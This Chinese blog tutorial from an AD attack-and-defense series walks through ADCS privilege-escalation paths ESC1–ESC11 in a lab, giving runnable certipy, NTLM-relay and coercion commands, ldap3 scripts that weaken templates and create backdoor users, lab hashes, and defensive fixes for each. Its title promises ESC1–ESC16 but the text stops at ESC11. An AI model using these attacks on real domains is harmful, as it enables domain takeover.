iT邦幫忙

2025 iThome 鐵人賽

DAY 15
0
Security

資安這條路:AD 攻防實戰演練系列 第 15

AD 攻防實戰演練 Day 15:ADCS 全域攻擊手法總覽 - ESC1~ESC16 完整技術解析

  • 分享至 

  • xImage
  •  

AD 攻防實戰演練

經過前兩天深入探討 ADCS 的各種攻擊手法,今天要進行一個全面性的整理,將所有已知的 ESC(Escalation Scenario)攻擊技術做完整的技術剖析。從 2021 年 SpecterOps 發布的開創性研究到 2024 年最新發現的漏洞,我們將系統性地解析這 16 種攻擊路徑的技術細節。

學習目標

在完成今天的學習後,你將能夠:

  • 全面理解 ESC1-16 的攻擊原理與技術細節
  • 識別各種 ESC 漏洞的關鍵特徵與利用條件
  • 掌握完整的攻擊鏈執行流程
  • 建立系統性的 ADCS 安全檢測與防禦框架

注意: CA 服務無法正常使用

如果你攻擊 ESC 系列的時候發現一直出現 0x80070576 可能是因為 CA 的服務下線,請重新將 Windows 機器們重新開機。
image

重開機之後,再重新測試,可以正常運作。
image

ESC1:允許申請者提供主體名稱

這是什麼漏洞

ESC1 是最典型的 ADCS 設定錯誤,當憑證範本允許申請者自行指定憑證中的身分資訊(Subject Alternative Name),攻擊者可以申請一張宣稱自己是網域管理員的憑證。

漏洞原理

憑證範本中的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 旗標允許申請者在憑證簽署請求(CSR)中自訂主體名稱。當這個設定與客戶端驗證 EKU 結合,且沒有適當的審核機制時,CA 會簽發一張包含任意身分的憑證。

技術細節:

  • 憑證的 SAN 欄位可包含 UPN(如 administrator@corp.local
  • 憑證的安全擴充可包含 SID(如 S-1-5-21-...-500)
  • KDC 信任 CA 簽發的憑證,將其視為有效的身分證明

漏洞攻擊流程

# 步驟 1:識別脆弱的範本
certipy find -u 'missandei@essos.local' -p 'fr3edom' \
    -vulnerable -enabled -dc-ip 192.168.139.12 -stdout | grep "ESC1"

# 步驟 2:申請惡意憑證
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'ESC1' \
    -upn 'administrator@essos.local' \
    -sid 'S-1-5-21-1394808576-3393508183-1134699666-500' \
    -dc-ip 192.168.139.12

# 步驟 3:使用憑證進行驗證
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell

# 如果失敗可以使用 ldap
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell

image

防禦方向

  1. 範本設定加強
    • 停用「由申請者提供主體」選項
    • 改為「從 Active Directory 建置」
  2. 啟用管理員核准
    • 設定「需要 CA 憑證管理員核准」
  3. 限制註冊權限
    • 移除 Domain Users 的註冊權限
    • 只授予特定群組

ESC2:Any Purpose 憑證範本

這是什麼漏洞

ESC2 涉及設定為「任何用途」(Any Purpose)或沒有指定 EKU 的憑證範本。這種憑證可以用於任何目的,包括作為憑證申請代理。

漏洞原理

  • OID 2.5.29.37.0 代表「任何用途」
  • 沒有 EKU 的憑證隱含具有所有用途
  • 「任何用途」包含憑證申請代理(1.3.6.1.4.1.311.20.2.1)能力

技術關鍵:

  • ESC2 本身不能直接指定其他人的身分
  • 需要結合代理機制來達成權限提升
  • 利用 Schema V1 範本的寬鬆限制

漏洞攻擊流程

# 取得 Any Purpose 憑證
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'ESC2' -dc-ip 192.168.139.12

image

防禦方向

  1. 明確指定 EKU
    • 避免使用 Any Purpose
    • 為每個範本指定具體的 EKU
  2. 升級範本版本
    • 將 V1 範本升級為 V2 或更新版本
  3. 限制代理功能
    • 嚴格控制憑證申請代理的使用

ESC3:憑證申請代理濫用

這是什麼漏洞

ESC3 利用憑證申請代理(Enrollment Agent)功能,允許代表其他使用者申請憑證的正常功能被濫用。

漏洞原理

  • 憑證申請代理原本設計給 IT 人員協助使用者
  • 攻擊者取得代理憑證後可代表任何人申請
  • Schema V1 範本通常不限制代理的使用

技術機制:

  1. 代理憑證包含特定 EKU(1.3.6.1.4.1.311.20.2.1)
  2. CA 信任代理簽署的申請
  3. 目標範本允許代理註冊

漏洞攻擊流程

# 步驟 1:取得代理憑證
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'ESC2' -dc-ip 192.168.139.12
# 產出:missandei.pfx(含 Certificate Request Agent 能力)


# 步驟 2:使用代理憑證代表 Administrator 申請
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'User' \
    -on-behalf-of 'ESSOS\Administrator' \
    -pfx 'missandei.pfx' \
    -dc-ip 192.168.139.12
# 產出:administrator.pfx

# 步驟 3:使用管理員憑證
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell

image

防禦方向

  1. 限制代理憑證發放
    • 只授予必要的 IT 人員
    • 實施嚴格的審核流程
  2. 升級目標範本
    • 使用 V2+ 範本的應用程式策略限制
  3. 監控代理活動
    • 記錄所有代理申請行為
    • 設定異常告警

ESC4:範本劫持

這是什麼漏洞

ESC4 發生在低權限使用者對憑證範本物件擁有寫入權限,可以修改範本設定使其變得脆弱。

漏洞原理

憑證範本是 AD 物件,儲存在設定命名環境中。如果 ACL 設定不當,攻擊者可以:

  • 修改 msPKI-Certificate-Name-Flag 啟用 ENROLLEE_SUPPLIES_SUBJECT
  • 新增客戶端驗證 EKU
  • 授予自己註冊權限
  • 移除審核需求

漏洞攻擊流程


# 安裝腳本
pip3 install bloodyad

# 修改範本屬性 (使範本變脆弱)
bloodyAD -u 'khal.drogo' -p 'horse' -d essos.local \
    --host 192.168.139.12 set object \
    'CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local' \
    msPKI-Certificate-Name-Flag -v 1
# 成功將 `msPKI-Certificate-Name-Flag` 設為 1(ENROLLEE_SUPPLIES_SUBJECT)

# 利用修改後的範本 
certipy req -u 'khal.drogo@essos.local' -p 'horse' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'ESC4' \
    -upn 'administrator@essos.local' \
    -dc-ip 192.168.139.12
 # 成功取得 administrator 的憑證

# 驗證權限提升 
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell
 
# 成功以 Administrator 身份認證

# 還原範本(清理痕跡)

bloodyAD -u 'khal.drogo' -p 'horse' -d essos.local \
    --host 192.168.139.12 set object \
    'CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local' \
    msPKI-Certificate-Name-Flag -v 0
# 成功還原原始設定

image

防禦方向

  1. 審查範本 ACL
    Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} | 
    ForEach-Object { Get-Acl "AD:$($_.DistinguishedName)" }
    
  2. 限制寫入權限
    • 只授予 Enterprise Admins
  3. 啟用稽核
    • 監控 Event ID 4899(範本更新)

ESC5:PKI 物件存取控制弱點

漏洞概述

ESC5 利用 Active Directory 森林中的權限配置缺陷,允許子網域的機器帳號(特別是域控制器的 SYSTEM 帳號)對父網域的 Public Key Services 容器擁有意外的寫入權限。這個漏洞展示了 AD 森林信任關係中的根本性設計問題。

攻擊原理

在 AD 森林架構中,子網域的域控制器需要能夠複製和同步某些配置資訊。然而,這個設計導致了過度的權限授予,使得子網域的機器帳號能夠修改父網域的 PKI 物件,包括憑證範本、CA 設定等關鍵安全元件。

環境分析

sevenkingdoms.local (父網域)
└── north.sevenkingdoms.local (子網域)
    └── SYSTEM 對父網域的 PKI 容器有完全控制權

漏洞原理

PKI 物件階層:

CN=Public Key Services
├── CN=Certificate Templates
├── CN=Enrollment Services  
├── CN=NTAuthCertificates(信任的 CA)
├── CN=AIA(授權資訊存取)
└── CN=CDP(憑證撤銷點)

如果攻擊者可以修改這些物件:

  • 新增惡意 CA 到 NTAuthCertificates
  • 修改 AIA/CDP 路徑進行阻斷服務
  • 建立新的惡意範本

漏洞攻擊流程

# 檢查 PKI 物件權限
$PKIPath = "CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local"
Get-Acl "AD:$PKIPath" | Format-List

# 如果有寫入權限,可以新增惡意 CA
# 1. 建立惡意 CA
# 2. 將憑證加入 NTAuthCertificates
# 3. 簽發任意憑證

步驟 1:初始偵察與權限確認

#!/usr/bin/env python3
# esc5_reconnaissance.py
"""
ESC5 攻擊 - 步驟 1:偵察階段
目的:確認子網域機器帳號對父網域 PKI 物件的權限
作者:Security Research Team
測試環境:GOAD Lab (north.sevenkingdoms.local -> sevenkingdoms.local)
"""

import ldap3
from ldap3 import Server, Connection, NTLM

def check_pki_permissions():
    """
    檢查 WINTERFELL$ (子網域 DC) 對父網域 PKI 容器的權限
    """
    # 連接配置
    server = Server('192.168.139.10', get_info=ldap3.ALL)  # 父網域 DC
    
    # 使用子網域機器帳號認證
    # 注意:這裡使用 NTLM hash 格式 (LM:NT)
    conn = Connection(
        server,
        user='north.sevenkingdoms.local\\WINTERFELL$',
        password='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1',
        authentication=ldap3.NTLM
    )
    
    if conn.bind():
        print("[+] 成功以 WINTERFELL$ 身份連接到父網域")
        
        # 搜尋 PKI 容器
        base_dn = "CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        # 搜尋所有 PKI 相關物件
        conn.search(
            base_dn,
            '(objectClass=*)',
            attributes=['cn', 'objectClass', 'distinguishedName']
        )
        
        pki_objects = []
        for entry in conn.entries:
            pki_objects.append(entry.entry_dn)
            print(f"[*] 發現 PKI 物件: {entry.cn}")
        
        # 特別檢查憑證範本
        templates_dn = "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        conn.search(
            templates_dn,
            '(objectClass=pKICertificateTemplate)',
            attributes=['cn', 'msPKI-Certificate-Name-Flag']
        )
        
        print(f"\n[+] 發現 {len(conn.entries)} 個憑證範本")
        
        # 檢查是否可以修改
        test_dn = "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        try:
            # 嘗試讀取範本屬性
            conn.search(test_dn, '(objectClass=*)', attributes=['msPKI-Certificate-Name-Flag'])
            if conn.entries:
                print(f"[+] 可以讀取範本屬性 - 可能有寫入權限")
                return True
        except Exception as e:
            print(f"[-] 無法讀取範本: {e}")
            return False
            
        conn.unbind()
    else:
        print("[-] 連接失敗")
        return False

if __name__ == "__main__":
    check_pki_permissions()

步驟 2:修改憑證範本

#!/usr/bin/env python3
# esc5_template_modification.py
"""
ESC5 攻擊 - 步驟 2:範本修改
目的:將安全的憑證範本修改為可被利用的狀態
關鍵修改:
1. ENROLLEE_SUPPLIES_SUBJECT - 允許申請者指定主體名稱
2. Client Authentication EKU - 允許憑證用於身份驗證
3. 移除簽章需求 - 降低申請門檻
"""

import ldap3
from ldap3 import Server, Connection, NTLM, MODIFY_REPLACE

class TemplateModifier:
    def __init__(self, target_dc, machine_account, machine_hash):
        """
        初始化範本修改器
        
        參數:
        target_dc: 父網域 DC IP
        machine_account: 機器帳號名稱
        machine_hash: NTLM hash
        """
        self.server = Server(target_dc, get_info=ldap3.ALL)
        self.conn = Connection(
            self.server,
            user=machine_account,
            password=machine_hash,
            authentication=ldap3.NTLM
        )
        
    def connect(self):
        """建立連接"""
        if self.conn.bind():
            print("[+] 連接成功")
            return True
        return False
    
    def modify_template(self, template_name="User"):
        """
        修改指定的憑證範本使其脆弱
        
        關鍵屬性說明:
        - msPKI-Certificate-Name-Flag: 
            0 = 使用 AD 資訊
            1 = ENROLLEE_SUPPLIES_SUBJECT (允許指定任意主體)
        
        - pKIExtendedKeyUsage:
            1.3.6.1.5.5.7.3.2 = Client Authentication
            1.3.6.1.5.5.7.3.1 = Server Authentication
        
        - msPKI-RA-Signature:
            0 = 不需要簽章
            1+ = 需要指定數量的簽章
        
        - msPKI-Enrollment-Flag:
            0 = 無特殊標記
            32 = AUTO_ENROLLMENT
        """
        template_dn = f"CN={template_name},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        modifications = {
            # 允許申請者提供主體名稱 - ESC1 的關鍵
            'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [1])],
            
            # 新增客戶端認證 EKU - 允許用於身份驗證
            'pKIExtendedKeyUsage': [(MODIFY_REPLACE, ['1.3.6.1.5.5.7.3.2'])],
            
            # 移除簽章需求 - 降低申請門檻
            'msPKI-RA-Signature': [(MODIFY_REPLACE, [0])],
            
            # 設定自動註冊標記 - 簡化申請流程
            'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [32])]
        }
        
        print(f"[*] 正在修改範本: {template_name}")
        
        for attr, value in modifications.items():
            try:
                self.conn.modify(template_dn, {attr: value})
                print(f"    [+] 成功修改 {attr}")
            except Exception as e:
                print(f"    [-] 無法修改 {attr}: {e}")
        
        return True
    
    def publish_template_to_ca(self, template_name, ca_name="SEVENKINGDOMS-CA"):
        """
        將範本發布到 CA
        這是必要步驟,否則範本無法使用
        """
        ca_dn = f"CN={ca_name},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        from ldap3 import MODIFY_ADD
        try:
            self.conn.modify(ca_dn, {
                'certificateTemplates': [(MODIFY_ADD, [template_name])]
            })
            print(f"[+] 範本 {template_name} 已發布到 CA")
            return True
        except Exception as e:
            # 可能範本已經發布
            print(f"[*] 範本可能已發布: {e}")
            return False

# 主程式
if __name__ == "__main__":
    modifier = TemplateModifier(
        target_dc='192.168.139.10',
        machine_account='north.sevenkingdoms.local\\WINTERFELL$',
        machine_hash='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1'
    )
    
    if modifier.connect():
        # 修改多個範本以增加成功機會
        templates = ['User', 'WebServer', 'Machine']
        
        for template in templates:
            modifier.modify_template(template)
            modifier.publish_template_to_ca(template)

步驟 3:在父網域建立後門使用者

#!/usr/bin/env python3
# esc5_user_creation.py
"""
ESC5 攻擊 - 步驟 3:建立後門使用者
目的:在父網域建立可控制的使用者帳號
這展示了跨網域的物件建立能力
"""

import ldap3
from ldap3 import Server, Connection, NTLM
import random
import string

class CrossDomainUserCreator:
    def __init__(self, target_dc, machine_account, machine_hash):
        self.server = Server(target_dc, get_info=ldap3.ALL)
        self.conn = Connection(
            self.server,
            user=machine_account,
            password=machine_hash,
            authentication=ldap3.NTLM
        )
        
    def create_user(self, username="ESC5Admin", password="ESC5Attack123!"):
        """
        在父網域建立新使用者
        
        重要:這個操作證明了子網域機器帳號
        不只能修改,還能建立父網域的物件
        """
        if not self.conn.bind():
            print("[-] 連接失敗")
            return False
            
        user_dn = f"CN={username},CN=Users,DC=sevenkingdoms,DC=local"
        
        # 使用者屬性
        user_attributes = {
            'objectClass': ['top', 'person', 'organizationalPerson', 'user'],
            'cn': username,
            'sAMAccountName': username,
            'userPrincipalName': f'{username}@sevenkingdoms.local',
            'displayName': 'ESC5 Test User',
            'description': 'Created via ESC5 attack',
            
            # 512 = NORMAL_ACCOUNT (啟用的一般使用者)
            'userAccountControl': 512,
            
            # 設定初始密碼
            # 注意:密碼需要用 UTF-16LE 編碼並加引號
            'unicodePwd': f'"{password}"'.encode('utf-16le')
        }
        
        try:
            # 建立使用者
            self.conn.add(user_dn, attributes=user_attributes)
            
            if self.conn.result['result'] == 0:
                print(f"[+] 成功在父網域建立使用者: {username}")
                print(f"    密碼: {password}")
                
                # 嘗試將使用者加入群組
                self.add_to_group(user_dn, "Domain Users")
                
                return True
            else:
                print(f"[-] 建立失敗: {self.conn.result['description']}")
                return False
                
        except Exception as e:
            print(f"[-] 建立使用者時發生錯誤: {e}")
            
            # 如果使用者已存在,嘗試重設密碼
            if "ENTRY_EXISTS" in str(e):
                print("[*] 使用者已存在,嘗試重設密碼")
                return self.reset_password(user_dn, password)
            return False
    
    def add_to_group(self, user_dn, group_name):
        """將使用者加入指定群組"""
        from ldap3 import MODIFY_ADD
        
        group_dn = f"CN={group_name},CN=Users,DC=sevenkingdoms,DC=local"
        
        try:
            self.conn.modify(group_dn, {
                'member': [(MODIFY_ADD, [user_dn])]
            })
            print(f"    [+] 已加入群組: {group_name}")
            return True
        except Exception as e:
            print(f"    [*] 無法加入群組: {e}")
            return False
    
    def reset_password(self, user_dn, new_password):
        """重設使用者密碼"""
        from ldap3 import MODIFY_REPLACE
        
        try:
            encoded_password = f'"{new_password}"'.encode('utf-16le')
            self.conn.modify(user_dn, {
                'unicodePwd': [(MODIFY_REPLACE, [encoded_password])]
            })
            print(f"[+] 密碼已重設")
            return True
        except Exception as e:
            print(f"[-] 無法重設密碼: {e}")
            return False

if __name__ == "__main__":
    creator = CrossDomainUserCreator(
        target_dc='192.168.139.10',
        machine_account='north.sevenkingdoms.local\\WINTERFELL$',
        machine_hash='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1'
    )
    
    # 建立多個使用者以增加成功率
    users = [
        ("ESC5Admin", "Complex@Pass123!"),
        ("BackdoorUser", "Hidden@Access456!"),
        ("ServiceAccount", "Svc@Account789!")
    ]
    
    for username, password in users:
        if creator.create_user(username, password):
            print(f"[+] 後門使用者 {username} 建立成功")
            break

步驟 4:監控與清理

#!/usr/bin/env python3
# esc5_cleanup.py
"""
ESC5 攻擊 - 步驟 4:清理痕跡
目的:還原修改,移除痕跡
重要:在真實滲透測試中,清理是必要的道德責任
"""

import ldap3
from ldap3 import Server, Connection, NTLM, MODIFY_REPLACE
import json
import datetime

class ESC5Cleanup:
    def __init__(self, target_dc, machine_account, machine_hash):
        self.server = Server(target_dc, get_info=ldap3.ALL)
        self.conn = Connection(
            self.server,
            user=machine_account,
            password=machine_hash,
            authentication=ldap3.NTLM
        )
        self.backup_file = f"esc5_backup_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
        
    def backup_template(self, template_name):
        """備份原始範本設定"""
        if not self.conn.bind():
            return None
            
        template_dn = f"CN={template_name},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        # 取得所有屬性
        self.conn.search(template_dn, '(objectClass=*)', attributes=['*'])
        
        if self.conn.entries:
            backup = {}
            for entry in self.conn.entries:
                for attr in entry.entry_attributes:
                    # 轉換為可序列化的格式
                    value = entry[attr].value
                    if isinstance(value, bytes):
                        value = value.hex()
                    backup[attr] = value
            
            # 儲存備份
            with open(self.backup_file, 'w') as f:
                json.dump({template_name: backup}, f, indent=2)
            
            print(f"[+] 範本 {template_name} 已備份到 {self.backup_file}")
            return backup
        return None
    
    def restore_template(self, template_name):
        """還原範本到原始狀態"""
        template_dn = f"CN={template_name},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        # 標準安全設定
        safe_settings = {
            'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [0])],  # 不允許指定主體
            'msPKI-RA-Signature': [(MODIFY_REPLACE, [1])],  # 需要簽章
            'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [0])]  # 標準註冊
        }
        
        if not self.conn.bind():
            print("[-] 無法連接")
            return False
            
        for attr, value in safe_settings.items():
            try:
                self.conn.modify(template_dn, {attr: value})
                print(f"    [+] 還原 {attr}")
            except Exception as e:
                print(f"    [-] 無法還原 {attr}: {e}")
        
        return True
    
    def remove_user(self, username):
        """移除建立的後門使用者"""
        if not self.conn.bind():
            return False
            
        user_dn = f"CN={username},CN=Users,DC=sevenkingdoms,DC=local"
        
        try:
            self.conn.delete(user_dn)
            print(f"[+] 已移除使用者: {username}")
            return True
        except Exception as e:
            print(f"[-] 無法移除使用者: {e}")
            return False
    
    def audit_changes(self):
        """
        審計所有修改
        在真實環境中,這些修改會產生事件日誌
        """
        print("\n[*] ESC5 攻擊會產生的事件日誌:")
        print("    - 事件 ID 4899: 憑證範本更新")
        print("    - 事件 ID 4720: 建立使用者帳號")
        print("    - 事件 ID 4738: 使用者帳號變更")
        print("    - 事件 ID 5136: 目錄服務物件修改")
        print("\n[!] 防禦者應監控這些事件")

if __name__ == "__main__":
    cleanup = ESC5Cleanup(
        target_dc='192.168.139.10',
        machine_account='north.sevenkingdoms.local\\WINTERFELL$',
        machine_hash='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1'
    )
    
    # 執行清理
    print("[*] 開始清理 ESC5 攻擊痕跡")
    
    # 還原範本
    for template in ['User', 'WebServer', 'Machine']:
        print(f"\n[*] 還原範本: {template}")
        cleanup.restore_template(template)
    
    # 移除後門使用者
    for username in ['ESC5Admin', 'BackdoorUser', 'ServiceAccount', 'ESC5User']:
        cleanup.remove_user(username)
    
    # 審計報告
    cleanup.audit_changes()

成功驗證的漏洞

image
image
image
image
image

  1. 跨網域 PKI 物件寫入 - 子網域機器帳號可修改父網域憑證範本
  2. 跨網域物件建立 - 可在父網域建立新使用者
  3. 範本屬性操控 - 可將安全範本改為脆弱狀態
  4. CA 設定修改 - 可將範本發布到 CA

環境限制

  • 跨網域憑證註冊可能被新的安全更新阻擋
  • 需要結合其他技術完成完整攻擊鏈

實戰意義

即使無法直接申請憑證,這個漏洞仍然嚴重:

  • 可作為持久化機制等待合法使用者申請憑證
  • 可與其他攻擊技術(如 ESC8)結合
  • 證明了 AD 森林信任邊界的脆弱性

防禦方向

  1. 限制 PKI 物件權限
    • 只允許 Enterprise Admins 修改
  2. 定期審查
    • 檢查 NTAuthCertificates 內容
    • 驗證 AIA/CDP 路徑
  3. 監控變更
    • Event ID 5136(目錄服務物件修改)

ESC6:CA 允許 SAN 規範

這是什麼漏洞

ESC6 發生在 CA 層級啟用 EDITF_ATTRIBUTESUBJECTALTNAME2 旗標,允許申請者透過請求屬性指定 SAN。

漏洞原理

  • 這是 CA 層級的設定,覆蓋範本限制
  • 即使範本不允許「申請者提供主體」,仍可透過屬性注入 SAN
  • 屬性格式:san:upn=administrator@corp.local&sid=S-1-5-21-...-500

漏洞攻擊流程

certipy req -u 'missandei@essos.local' -p 'fr3edom' \
-target 'braavos.essos.local' -ca 'ESSOS-CA' \
-template 'User' \
-upn 'administrator@essos.local' \
-dc-ip 192.168.139.12

certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell

image

防禦方向

# 停用危險旗標
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc
net start certsvc

ESC7:CA 危險權限

這是什麼漏洞

ESC7 發生在低權限使用者擁有 CA 的 ManageCA 或 ManageCertificates 權限。

漏洞原理

  • ManageCA:可修改 CA 設定(如啟用 ESC6)
  • ManageCertificates:可核准待審憑證
  • 結合 SubCA 範本可簽發任意憑證

漏洞攻擊流程

# 步驟 1:確認使用者擁有 ESC7 權限
certipy find -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -dc-ip 192.168.139.12 -vulnerable -stdout | grep ESC7
# 輸出確認:ESC7 - User has dangerous permissions.

# 步驟 2:列出當前已啟用的憑證範本
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -ca 'ESSOS-CA' -list-templates \
    -dc-ip 192.168.139.12 -target 192.168.139.23
# 注意:SubCA 範本預設未在清單中(已停用)

# 步驟 3:啟用危險的 SubCA 範本
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -ca 'ESSOS-CA' -enable-template 'SubCA' \
    -dc-ip 192.168.139.12 -target 192.168.139.23
# 成功訊息:Successfully enabled 'SubCA' on 'ESSOS-CA'

# 步驟 4:驗證 SubCA 範本已啟用
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -ca 'ESSOS-CA' -list-templates \
    -dc-ip 192.168.139.12 -target 192.168.139.23
# SubCA 現在出現在已啟用範本清單的第一位

# 步驟 5:清理 - 停用 SubCA 範本(重要!)
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -ca 'ESSOS-CA' -disable-template 'SubCA' \
    -dc-ip 192.168.139.12 -target 192.168.139.23
# 成功訊息:Successfully disabled 'SubCA' on 'ESSOS-CA'

image

image

實作

  1. ManageCA 權限:daenerys.targaryen 擁有管理 CA 的權限,可以啟用/停用範本
  2. 危險範本控制:成功啟用了原本被停用的 SubCA 範本
  3. 環境還原:攻擊後成功停用範本,清理痕跡

防禦方向

  1. 限制 CA 權限
    • 只授予必要的管理員
  2. 停用 SubCA 範本
    • 除非確實需要
  3. 監控 CA 操作
    • Event ID 4876(CA 資料庫備份)

ESC8:NTLM 中繼到 Web Enrollment

這是什麼漏洞

ESC8 利用 AD CS Web Enrollment 服務未啟用擴充保護驗證(EPA),可進行 NTLM 中繼攻擊。

漏洞原理

  • IIS 預設允許 NTLM 驗證
  • 未啟用通道繫結(Channel Binding)
  • 攻擊者可中繼受害者的 NTLM 驗證到 /certsrv/

漏洞攻擊流程

# 步驟 1:啟動 NTLM 中繼監聽
ntlmrelayx.py -t http://192.168.139.23/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController

# 步驟 2:強制 DC 驗證(自動觸發)
# MEEREEN$ (DC) 自動進行了 NTLM 認證
# 實際環境可使用 PetitPotam、Coercer 等工具
python3 PetitPotam.py -u 'missandei' -p 'fr3edom' \
    -d essos.local 192.168.139.136 192.168.139.12

# 步驟 3:自動取得 DC 憑證
# 輸出:MEEREEN$.pfx (Certificate ID: 153)

# 步驟 4:使用憑證進行 LDAP 認證
certipy auth -pfx 'MEEREEN$.pfx' -dc-ip 192.168.139.12 -ldap-shell
# 成功認證為:ESSOS\MEEREEN$

image

漏洞攻擊流程(Day14複習)

# 步驟 1:啟動 NTLM 中繼監聽
ntlmrelayx.py -t http://192.168.139.10/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController

# 步驟 2:強制 DC 驗證(使用 PetitPotam)
python3 PetitPotam.py -u 'jon.snow' -p 'iknownothing' \
    -d north.sevenkingdoms.local \
    192.168.139.136 192.168.139.11

# 步驟 3:自動取得 DC 憑證
# 輸出:WINTERFELL$.pfx

# 步驟 4:使用憑證認證
certipy auth -pfx 'WINTERFELL$.pfx' \
    -username 'winterfell$' \
    -domain 'north.sevenkingdoms.local' \
    -dc-ip 192.168.139.11

防禦方向

  1. 啟用 EPA
    • IIS 設定要求擴充保護
  2. 使用 HTTPS
    • 停用 HTTP 繫結
  3. 停用 NTLM
    • 如果可能,只使用 Kerberos

ESC9:缺少安全擴充

這是什麼漏洞

ESC9 涉及範本設定 CT_FLAG_NO_SECURITY_EXTENSION,不包含 SID 安全擴充。

漏洞原理

  • szOID_NTDS_CA_SECURITY_EXT(1.3.6.1.4.1.311.25.2)包含申請者的 SID
  • 缺少此擴充時,KDC 退回到弱映射(UPN/DNS)
  • 結合 UPN 操作可偽裝身分

漏洞攻擊流程

# 步驟 1:修改受害者的 UPN

certipy account update \
    -u 'daenerys.targaryen@essos.local' \
    -p 'BurnThemAll!' \
    -dc-ip 192.168.139.12 \
    -user 'missandei' \
    -upn 'administrator'

# 步驟 2:以受害者身分申請憑證

certipy req \
    -u 'missandei@essos.local' \
    -p 'fr3edom' \
    -target 192.168.139.23 \
    -ca 'ESSOS-CA' \
    -template 'ESC9' \
    -dc-ip 192.168.139.12


# 步驟 3:還原 UPN(清理痕跡)

certipy account update \
    -u 'daenerys.targaryen@essos.local' \
    -p 'BurnThemAll!' \
    -dc-ip 192.168.139.12 \
    -user 'missandei' \
    -upn 'missandei@essos.local'


# 步驟 4:使用憑證認證

certipy auth \
    -pfx 'administrator.pfx' \
    -username 'administrator' \
    -domain 'essos.local' \
    -dc-ip 192.168.139.12

image
image

防禦方向

  1. 移除 NoSecurityExtension 旗標
  2. 啟用強憑證繫結
    reg add HKLM\SYSTEM\CurrentControlSet\Services\Kdc \
        /v StrongCertificateBindingEnforcement /t REG_DWORD /d 2
    

ESC10:Schannel 弱憑證映射

這是什麼漏洞

ESC10 涉及 Schannel 的憑證映射方法設定不當,允許基於 UPN 的映射。

漏洞原理

  • CertificateMappingMethods 包含 0x4(UPN 映射)
  • Schannel 用於 LDAPS、HTTPS 等 TLS 驗證
  • 攻擊者可透過 UPN 操作偽裝身分

漏洞攻擊流程

# 步驟 1:修改受害者 UPN 為 DC 帳號
certipy account -u 'attacker@corp.local' -p 'Password!' \
    -dc-ip 192.168.139.10 -user 'victim' \
    -upn 'dc$@corp.local' update

# 步驟 2:申請憑證
certipy req -k -dc-ip 192.168.139.10 \
    -target 'ca.corp.local' -ca 'CORP-CA' \
    -template 'User'

# 步驟 3:透過 LDAPS 驗證
certipy auth -pfx 'dc.pfx' -dc-ip 192.168.139.10 -ldap-shell

防禦方向

# 設定安全的映射方法
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL \
    /v CertificateMappingMethods /t REG_DWORD /d 0x18

ESC11:NTLM 中繼到 RPC 介面

這是什麼漏洞

ESC11 類似 ESC8,但目標是 CA 的 RPC 介面而非 Web 服務。

漏洞原理

  • CA 未強制 RPC 加密(缺少 IF_ENFORCEENCRYPTICERTREQUEST)
  • 可中繼 NTLM 到 RPC 端點
  • 透過 RPC 申請憑證

漏洞攻擊流程

# 步驟 1:啟動 RPC 中繼
certipy relay -target 'rpc://ca.corp.local' \
    -ca 'CORP-CA' -template 'DomainController'

# 步驟 2:強制驗證
# (使用 PetitPotam 或其他工具)

# 步驟 3:自動取得憑證

防禦方向

# 強制 RPC 加密
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
